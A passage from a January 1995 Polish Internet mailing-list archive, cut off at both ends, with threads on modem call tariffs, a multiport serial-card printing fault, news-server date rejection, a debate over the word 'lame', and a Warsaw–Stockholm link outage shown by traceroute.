tyle ze podszywa sie pod Uczelnie. Najlepiej zreszta, jak nie wysyla bezposrednio, a przez kogos kto juz tam jest. jest jeszcze trzecie rozwiazanie: podajecie telefonicznie autorom numer sluzbowej karty kredytowej i oni zalatwiaja reszte - a w zasadzie ich bank. J. From pastupam@uoo.univ.szczecin.pl Fri Jan 20 18:41:57 1995 Received: from uoo.univ.szczecin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18246; Fri, 20 Jan 95 18:35:14 +0100 Return-Path: Message-Id: <9501201735.AA18246@zsku.p.lodz.pl> Received: by uoo.univ.szczecin.pl (1.37.109.4/16.2) id AA14673; Fri, 20 Jan 95 18:36:31 +0100 From: Jerzy Pastusiak Subject: Modemowanie o 0.5nocy To: polip@zsku.p.lodz.pl Date: Fri, 20 Jan 95 18:36:29 MET Mailer: Elm [revision: 70.85] Nie wiem jaki byl ostateczny wynik proby dogadania sie z Telekomuni- kacja w sprawie ulg dla Modemowcow i jakie byly argumenty przeciw tym ulgom, ale wydaje mi sie, ze przestawienie zaliczania rozmowy z licznika impulsow na polaczenie, od godziny np: 0:00.0 do 06:00 rano, wielu z nas ulzylo by finansowo, nie zubozajac TP. Czy mozemy sobie jakos' pomo'c? Przesylam Pozdrowienia, Jerzy Pastusiak, . From zych@student.uci.agh.edu.pl Fri Jan 20 20:47:00 1995 Received: from galaxy.uci.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA20465; Fri, 20 Jan 95 20:42:29 +0100 Return-Path: Received: from student.uci.agh.edu.pl by uci.agh.edu.pl (4.1/SMI-4.1) id AA05791; Fri, 20 Jan 95 20:43:49 +0100 Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Received: by student.uci.agh.edu.pl (4.1/SMI-4.1) id AA10561; Fri, 20 Jan 95 20:43:23 +0100 From: zych@student.uci.agh.edu.pl (Zbigniew Zych) Message-Id: <9501201943.AA10561@student.uci.agh.edu.pl> Subject: Longshine 16 * RS To: polip@zsku.p.lodz.pl (polip list) Date: Fri, 20 Jan 1995 20:43:23 +0100 (MET) X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1417 Witam... Mam ogromna prosbe... Wlasnie zetknalem sie z karta Longshine: ShineCom Multi-User Expansion Card LCS-8684. Karta ta to 16 portow RS232 podpieta do SCO Unix. Sa do tego podpiete terminale znakowe. Na niektorych sa drukarki (przez dodatkowy port RS w terminalu): +---+ RS +---+ RS +----+ |Dru+--------+Ter+--------|Komp| +---+ +---+ +----+ Wszystko chodzi pieknie, dopoki sie nie drukuje. Jesli jestem zalagowany na tym komputerze i zrobie lprint (drukowanie na drukarce "lokalnej"), to sie wiesza i czasami nie drukuje calego pliku... Jesli natomiast zrobie rlogin na inna maszyne, to zdalny lprint dziala ok. Moge tez zrobic rlogin na te sama maszyne i tez jest ok. (Program nie ma wtedy dostepu do /dev/lttya05, tylko do /dev/ttyp02....) Kiedy robie via "cat plik" gdzie mam wpisane sekwencje "iskejpowe" do pisania bezposrednio na drukarke - to tez jest ok. Konfiguracja jest ok - termcap (pola PN i PS). Inne karty typu iles_tam * RS - dzialaja ok. Problem jest tylko z ta karta Longshine. Mam pytanie: czy ktos cos wie o jakis bledach w tej karcie? czy moze tez cos wiedziec o sposobach ominiecia tych bledow? Z gory dzieki... Zbigniew Zych -- Zbigniew Zych ircnick: Zyzio home phone: 48+12-48.74.29 -- email&finger: zych@ernie.icslab.agh.edu.pl zych@student.uci.agh.edu.pl -- HomePage From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 20:47:03 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA20469; Fri, 20 Jan 95 20:42:48 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA24765 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 20:42:17 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 19:42:11 GMT From: tsurmacz@asic.ict.pwr.wroc.pl (Tomasz Surmacz) Message-Id: <3fp3mj$nok@cyber.ict.pwr.wroc.pl> Organization: Technical University of Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <2f198e11.norka@norka.immt.pwr.wroc.pl> Subject: Re: Ustawianie czasu Wojciech Myszka (myszka@norka.immt.pwr.wroc.pl) wrote: | Jaroslaw Rafa pisal: | > Ale jaki jest sens takiego super dokladnego | > synchronizowania czasu, o jakim tutaj koledzy pisali? | --- | Oprocz wszystkich przyczyn, ktore podali inni jest jeszcze jedna: | kupuje sie komputer (komputery, stacje robocze...) o wartosci co | najmniej kilku tysiecy $, wlacza do sieci lokalnej, do jakiejs | sieci miejskiej (kilka mld starych zl) i nastepnie na kilkanastu | serwerwerach unixowych mamy kilkanascie roznych cazsow. No bo po | co ma byc jeden? To moze jeszcze jedna... Tak gdzies raz na dwa tygodnie (czasem czesciej) zdarza mi sie zauwazyc w logu serwera news na przyklad taka rzecz: Top 20 sites sending bad articles: 1 m2n-gate.ict.pwr.pl ... Syslog summary: Unknown entries from news log file: Jan 8 22:34:49 cyber rnews: rejected 437 Article posted in the future -- "11 Ja n 95 11:34:06 GMT" Co oznacza, ze ktos na liste dyskusyjna wyslal list z data z przyszlosci, list dotarl do mail2news, a ten poslal go do rnews, ktory z kolei chcial go wepchnac serwerowi, ale serwer go nie chcial, bo mu sie data nie spodobala. Tak wiec artykul w rezultacie do newsow nie trafil. To samo zreszta moze sie zdarzyc, gdy korzystajac z jakiegos czytnika news i majac ustawiona date z przyszlosci bedziemy probowali cokolwiek wyslac. Jako ciekawostke, moge jeszcze dodac, ze od czasu do czasu zdarzaja sie takze 'przegiecia' w druga strone: Unknown entries from news log file: Jan 09 11:06:05 cyber rnews: rejected 437 Too old -- "24 Nov 80 10:49:50 GMT" a najczesciej wystepujaca data typu 'Too old' to 1 Jan 1980 (czy to komus cos mowi? ;-) ) Tomek -- _________ (_ _' __) Tomasz Surmacz * ------------- * tsurmacz@asic.ict.pwr.wroc.pl | (__ \ Institute of Technical Cybernetics, * tsurmacz@ict.pwr.wroc.pl |__(____/ Technical University of Wroclaw, Poland * ----- * irc: TomekS From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 21:05:24 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA21636; Fri, 20 Jan 95 21:02:48 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA24916 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 20:50:53 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 19:50:52 GMT From: tsurmacz@asic.ict.pwr.wroc.pl (Tomasz Surmacz) Message-Id: <3fp46s$nok@cyber.ict.pwr.wroc.pl> Organization: Technical University of Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501171505.PAA06781@hebe.umcs.lublin.pl>, <3fh603$1a5@sun1000.ci.pwr.wroc.pl> Subject: Re: Ustawianie czasu Wojciech Myszka (myszka@immt.pwr.wroc.pl) wrote: | Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: [...] | Oto naglowek z Twojego listu: | Path: ci.pwr.wroc.pl!ict.pwr.wroc.pl!m2n-gate.ict.pwr.pl | >From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) | Newsgroups: pl.listserv.polip | Subject: Re: Ustawianie czasu | Message-ID: <199501171505.PAA06781@hebe.umcs.lublin.pl> | Date: 17 Jan 95 15:44:35 GMT | Sender: polip@zsku.p.lodz.pl | O dziwo data jest GMT (choc, oczywiscie powinna byc UTC, bo GMT to juz chyba | zlikwidowali :-) Zdaje sie, ze mail2news przerabia wszystkie znane strefy czasowe na GMT, dodajac lub odejmujac oczywiscie stosowna ilosc godzin. Kiedys probowalem to przesledzic, bo tez mnie zainteresowalo czemu w news sa daty w GMT, podczas gdy elm stemplowal listy jako MET lub MET DST... Jakby komus sie chcialo bawic, moze wyslac list na adres news.test@cyber.ict.pwr.wroc.pl, a nastepnie obejrzec co z tego wyszlo w grupie pwr.test (dostepnej z serwerow news news.ict.pwr.wroc.pl i sun1000.ci.pwr.wroc.pl) Tomek -- _________ (_ _' __) Tomasz Surmacz * ------------- * tsurmacz@asic.ict.pwr.wroc.pl | (__ \ Institute of Technical Cybernetics, * tsurmacz@ict.pwr.wroc.pl |__(____/ Technical University of Wroclaw, Poland * ----- * irc: TomekS From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 21:27:00 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA22675; Fri, 20 Jan 95 21:22:48 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA25175 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 21:11:04 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 20:07:24 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3fp55s$1kd@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501201735.AA18246@zsku.p.lodz.pl> Subject: Re: Modemowanie o 0.5nocy Jerzy Pastusiak (pastupam@uoo.univ.szczecin.pl) wrote: : Nie wiem jaki byl ostateczny wynik proby dogadania sie z Telekomuni- : kacja w sprawie ulg dla Modemowcow i jakie byly argumenty przeciw tym : ulgom, ale wydaje mi sie, ze przestawienie zaliczania rozmowy z licznika : impulsow na polaczenie, od godziny np: 0:00.0 do 06:00 rano, wielu z nas : ulzylo by finansowo, nie zubozajac TP. E tam nie zubozajac. Skoro moga z nas zerznac, to dlaczego nie mieliby tego robic? Zyczenia doczekania konkurencji, Jarek. From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 21:27:03 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA22682; Fri, 20 Jan 95 21:22:50 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA25176 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 21:12:25 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 20:12:24 GMT From: tsurmacz@asic.ict.pwr.wroc.pl (Tomasz Surmacz) Message-Id: <3fp5f8$nok@cyber.ict.pwr.wroc.pl> Organization: Technical University of Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501201616.IAA10383@ix3.ix.netcom.com> Subject: Re: Brzydkie slowa [niestety jeszcze raz] Mark W. Kaliczynski (markk1@ix.netcom.com) wrote: | Jacek Piskozub pisal: | >Co to znaczy brzydkie slowo? [...] | Nalezy zauwazyc ze kazdy jezyk to jest tak jak zywy zmieniajacy i | przeksztalcajacy sie ciagle organizm i jezeli wystarczajaco duza liczba | ludzi zacznie uzywac slowo lame w nowym wulgarnym (tak jak Jacek | Piskozub:-) znaczeniu to z biegiem czasu zostanie to nowe znaczenie | zaakceptowane tak jak slowo Polack, kiedys calkowicie neutralne zostalo | zwulgaryzowane z biegiem czasu. No i niestety w Polsce przyjelo sie ono JUZ jako wulgarne, a moze niezupelnie wulgarne, ale obrazliwe, w stosunku do tego, do ktorego jest skierowane. Zbyt czesto mozna po prostu uslyszec w odpowiedzi na rzeczowe argumenty, ze jestes lame, co jest (moim zdaniem) szybkim slowem-wytrychem pozwalajacym temu drugiemu odeprzec nasze argumenty spychajac je w sfere zastanawiania sie nad nasza znajomoscia rzeczy... Takze jak widze gdzies l*e, l****row itp. itd., to mnie od razu odrzuca, a dokladniej - wyrabiam sobie odpowiednie zdanie co do autora. Ale nie wiem, czy jest to dyskusja zupelnie na temat, wiec obiecuje, ze dalej bede siedzial cicho.. Tomek -- _________ (_ _' __) Tomasz Surmacz * ------------- * tsurmacz@asic.ict.pwr.wroc.pl | (__ \ Institute of Technical Cybernetics, * tsurmacz@ict.pwr.wroc.pl |__(____/ Technical University of Wroclaw, Poland * ----- * irc: TomekS From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 21 15:05:10 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07536; Sat, 21 Jan 95 15:03:07 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA09600 for polip@zsku.p.lodz.pl; Sat, 21 Jan 1995 14:50:19 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 21 Jan 1995 14:39:14 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3fr2q2$e9o@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3fnonp$71l@sunrise.pg.gda.pl> Subject: Re: Brzydkie slowa [niestety jeszcze raz] Jacek Piskozub (piskozub@iopan.gda.pl) wrote: : odmawia na liscie powiedzenia co co slowo wlasciwie znaczy, oskarzajac : przy tym tych, ktorzy tego nie wiedza o... No wlasnie znow o : l***rstwo! Czyli, przetlumaczmy "debilizm w dziedzinie >jargon file<" Musze zaprotestowac: Jargon File (pod redakcja Erica S. Raymonda, dostepny m.in. jako http://www.uci.agh.edu.pl/jargon/ ) nie zawiera slowa "lame". A tak poza tym, to wszystko swieta prawda. -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 21 15:05:13 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07539; Sat, 21 Jan 95 15:03:09 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA09599 for polip@zsku.p.lodz.pl; Sat, 21 Jan 1995 14:47:08 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 21 Jan 1995 14:27:20 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3fr23o$csn@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501191644.QAA12578@hebe.umcs.lublin.pl> Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia) Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : No moze w tym przypadku, to nie wiekszosc, a sami zainteresowani. : Np. wedlug niektorych jestesmy Lechitami, ale sami nie bedziemy sie tak : raczej okreslac :-) I znowu wraca stara piosenka... a ja znowu odpowiadam: a slyszales, zeby sie bandyta przedstawial: "Jestem bandyta" ?! :-) Ale to nie na temat. Oczywiscie, ja tez jestem za wolnoscia slowa i propozycja zmuszania do uzywania "powszechnie przyjetych" terminow byla dowcipem. Niech kazdy uzywa takiej terminologii, jaka mu odpowiada. Na wlasna odpowiedzialnosc. -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From kokowski@CS.PUT.Poznan.PL Mon Jan 23 08:51:54 1995 Received: from [150.254.32.2] by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02812; Mon, 23 Jan 95 08:49:34 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA21445; Mon, 23 Jan 95 08:52:39 +0100 Subject: Warszawa-Sztokholm ???? To: polip@zsku.p.lodz.pl (Polish Internet) Date: Mon, 23 Jan 1995 08:38:56 +0100 (CEU) From: Tomasz Kokowski Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 863 Message-Id: <9501230838.aa20348@wega.ics.tup.edu.pl> Czy jest ktos kompetentny, kto moze wytlumaczyc brak lacznosci pomiedzy Warszawa i Sztokholmem (traceroute robione dzis <23.01> godz 8.45)? traceroute to nic.ddn.mil (192.112.36.5), 30 hops max, 40 byte packets 1 dune (150.254.24.201) 20 ms 20 ms 20 ms 2 PPZ1.tup.edu.pl (150.254.5.248) 20 ms 20 ms 20 ms 3 cmt1.pozman.edu.pl (150.254.167.251) 20 ms 20 ms 30 ms 4 poz-gw.nask.poznan.pl (193.59.200.81) 20 ms 20 ms 50 ms 5 gollum.nask.org.pl (193.59.200.73) 280 ms 90 ms 90 ms 6 kirdan.nask.waw.pl (193.59.201.17) 90 ms 90 ms 110 ms 7 * kirdan.nask.waw.pl (193.59.201.17) 110 ms !H * 8 * * * 9 * * * 10 * * kirdan.nask.waw.pl (193.59.201.17) 100 ms !H 11 * * * 12 * * * 13 * * * 14 * * Nadmieniam, ze taki stan rzeczy wystepowal juz 22.01 (niedziela) okolo poludnia. Jak widac utrzymuje sie do dzis. Tomasz Kokowski From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 10:50:44 1995 Received: from [156.17.9.30] by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04348; Mon, 23 Jan 95 10:42:38 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA09274 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 10:40:22 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 23 Jan 1995 09:38:04 GMT From: lukasz@nask.org.pl (Lukasz Ploszajski) Message-Id: <3fvtds$48o@bilbo.nask.org.pl> Organization: Research And Academic Computer Network Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Awaria lacza do Szwecji Witam wszystkich! W Sztokholmie zepsul sie multiplekser obslugujacy nasze lacze satelitarne - stad m.in. brak polaczenia z USA, ktore pewnie wiele osob zauwazylo. Zostaly juz przygotowane zastepcze urzadzenia i linia powinna wkrotce ruszyc. -Lukasz Ploszajski From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 11:26:08 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA01576; Mon, 23 Jan 95 11:21:08 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA10007 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 11:21:12 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 23 Jan 1995 10:17:53 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fvvoh$63m@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3fnonp$71l@sunrise.pg.gda.pl>, <3fr2q2$e9o@galaxy.uci.agh.edu.pl> Subject: Re: Brzydkie slowa [niestety jeszcze raz] Szymon Sokol (szymon@uci.agh.edu.pl) wrote: : Jacek Piskozub (piskozub@iopan.gda.pl) wrote: : : odmawia na liscie powiedzenia co co slowo wlasciwie znaczy, oskarzajac : : przy tym tych, ktorzy tego nie wiedza o... No wlasnie znow o : : l***rstwo! Czyli, przetlumaczmy "debilizm w dziedzinie >jargon file<" : Musze zaprotestowac: Jargon File (pod redakcja Erica S. Raymonda, dostepny : m.in. jako http://www.uci.agh.edu.pl/jargon/ ) nie zawiera slowa "lame". Jak widze - Jargon File nasza Wyrocznia, jakis-tam Eric S. Raymond naszym Guru. Kiedy zaczyna dzialalnosc Biale Bractwo Czcicieli Jargon File? -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 11:26:17 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA01582; Mon, 23 Jan 95 11:21:12 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA10006 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 11:21:12 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 23 Jan 1995 10:14:32 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fvvi8$2ea@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501201616.IAA10383@ix3.ix.netcom.com>, <3fp5f8$nok@cyber.ict.pwr.wroc.pl> Subject: Re: Brzydkie slowa [niestety jeszcze raz] Tomasz Surmacz (tsurmacz@asic.ict.pwr.wroc.pl) wrote: : Mark W. Kaliczynski (markk1@ix.netcom.com) wrote: : | Jacek Piskozub pisal: : | >Co to znaczy brzydkie slowo? : [...] : | Nalezy zauwazyc ze kazdy jezyk to jest tak jak zywy zmieniajacy i : | przeksztalcajacy sie ciagle organizm i jezeli wystarczajaco duza liczba : | ludzi zacznie uzywac slowo lame w nowym wulgarnym (tak jak Jacek : | Piskozub:-) znaczeniu to z biegiem czasu zostanie to nowe znaczenie : | zaakceptowane tak jak slowo Polack, kiedys calkowicie neutralne zostalo : | zwulgaryzowane z biegiem czasu. : No i niestety w Polsce przyjelo sie ono JUZ jako wulgarne, a moze niezupelnie : wulgarne, ale obrazliwe, w stosunku do tego, do ktorego jest skierowane. Nic bardziej blednego. : Zbyt czesto mozna po prostu uslyszec w odpowiedzi na rzeczowe argumenty, ze : jestes lame, co jest (moim zdaniem) szybkim slowem-wytrychem pozwalajacym : temu drugiemu odeprzec nasze argumenty spychajac je w sfere zastanawiania : sie nad nasza znajomoscia rzeczy... Nic takiego nie widzialem w odniesieniu do _rzeczowych_ agumentow. Natomiast w odpowiedzi na _lamerskie_ twierdzenia w rodzaju np. ze "komputer jest zepsuty, bo nie moge odpalic elm'a" odpowiada sie wlasnie tak. : Takze jak widze gdzies l*e, l****row itp. itd., to mnie od razu odrzuca, : a dokladniej - wyrabiam sobie odpowiednie zdanie co do autora. No to zejdz laskawie ze sciany, gdzie niezawodnie sie znalazles po przeczytaniu wiadomego slowa 7 linijek wyzej. Mam nadzieje, ze sie nie potlukles, bo bylo by to naprawde lame. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From muhlig@usctoux1.cto.us.edu.pl Mon Jan 23 14:11:08 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05906; Mon, 23 Jan 95 14:10:05 +0100 Return-Path: Subject: Re: Warszawa-Sztokholm ???? To: polip@zsku.p.lodz.pl Date: Mon, 23 Jan 1995 14:15:23 -0100 (MET) From: Maciek Uhlig In-Reply-To: <9501230838.aa20348@wega.ics.tup.edu.pl> from "Tomasz Kokowski" at Jan 23, 95 11:02:07 am X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 1152 Message-Id: <9501231415.aa19485@usctoux1.cto.us.edu.pl> Tomasz Kokowski wrote: > > Czy jest ktos kompetentny, kto moze wytlumaczyc brak lacznosci pomiedzy > Warszawa i Sztokholmem (traceroute robione dzis <23.01> godz 8.45)? > Nadmieniam, ze taki stan rzeczy wystepowal juz 22.01 (niedziela) okolo > poludnia. Jak widac utrzymuje sie do dzis. Zapewne nie jestem kompetentny w tej sprawie, ale wiem, ze NASK przystapil do usuwania uszkodzenia natychmiast po zgloszeniu w niedziele okolo poludnia. Natomiast NASK jest odpowiedzialny za dobowy brak lacznosci ze swiatem, gdyz po nauczce sprzed okolo roku nie przedsiewzial zadnych krokow, aby z Polski istnialy dwa rownorzedne wyjscia do swiata. Na koniecznosc podjecia takich dzialan internauci wskazywali tez w Liscie Aktualnych Problemow. Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 14:21:09 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06686; Mon, 23 Jan 95 14:20:58 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA13162 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 14:17:11 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 23 Jan 1995 13:08:14 GMT From: chris@cesar.astri.uni.torun.pl (Krzysztof Gozdziewski) Message-Id: <3g09nu$gic@Waldemar.mat.uni.torun.pl> Organization: Uniwersytet Mikolaja Kopernika Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Baza danych dla Linuxa ? Moze ktos bedzie mi mogl pomoc: szukam bazy danych (programu), ktora mozna by bylo uzywac pod Linux'em. Zupelnie zadowalajacy bylby program w rodzaju DOS-owego dbase. Najlepiej jak by byl public domain. Z gory dziekuje za informacje. Z pozdrowieniami Krzysztof Gozdziewski --------------------------------- ^-^ ~~~ Krzysztof Go\'zdziewski (* *) ~~~ Institute of Astronomy ==*== ~~~ Nicolaus Copernicus University /?\ ~~~ Chopina Str 12/18 (m_m) ~~~ PL-87-100 Toru\'n POLAND From kokowski@CS.PUT.Poznan.PL Mon Jan 23 14:43:44 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA01420; Mon, 23 Jan 95 14:41:53 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA23028; Mon, 23 Jan 95 14:47:04 +0100 Subject: Re: Warszawa-Sztokholm ???? To: polip@zsku.p.lodz.pl Date: Mon, 23 Jan 1995 14:33:20 +0100 (CEU) From: Tomasz Kokowski In-Reply-To: <9501231415.aa19485@usctoux1.cto.us.edu.pl> from "Maciek Uhlig" at Jan 23, 95 02:16:07 pm Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 969 Message-Id: <9501231433.aa28478@wega.ics.tup.edu.pl> > > Zapewne nie jestem kompetentny w tej sprawie, ale wiem, ze NASK > przystapil do usuwania uszkodzenia natychmiast po zgloszeniu w niedziele > okolo poludnia. Fajnie. Mozna jednak bylo wyslac taki piekny liscik z poczty kodowanej jak to sie dzialo ostatnio i wszystko gra. Zle jest natomiast, jesli sila wyzsza i pilnosc sprawy zwalniaja z obowiazku poinformowania p.t. uzytkonikow. Nie mowie zeby wszystkich w RP ale mozeby stworzyc "hotlist" bo na operatorow regionalnych nie za bardzo licze .... > Natomiast NASK jest odpowiedzialny za dobowy brak lacznosci ze swiatem, > gdyz po nauczce sprzed okolo roku nie przedsiewzial zadnych krokow, > aby z Polski istnialy dwa rownorzedne wyjscia do swiata. Na koniecznosc > podjecia takich dzialan internauci wskazywali tez w Liscie Aktualnych > Problemow. Swiete slowa. Ale co na to NASK? Internauci swoje a zycie swoje. Tak jak z wspominana "czeska karta" w gateway do domeny gov.pl. :-| Tomasz Kokowski. From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 23 21:23:46 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07072; Mon, 23 Jan 95 21:20:21 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA20675 for polip@zsku.p.lodz.pl; Mon, 23 Jan 1995 21:17:12 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 23 Jan 1995 20:56:34 +0100 From: kompas@uci.agh.edu.pl (Piotr Piatkowski) Message-Id: <3g11li$dq6@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3fnonp$71l@sunrise.pg.gda.pl>, <3fr2q2$e9o@galaxy.uci.agh.edu.pl>, 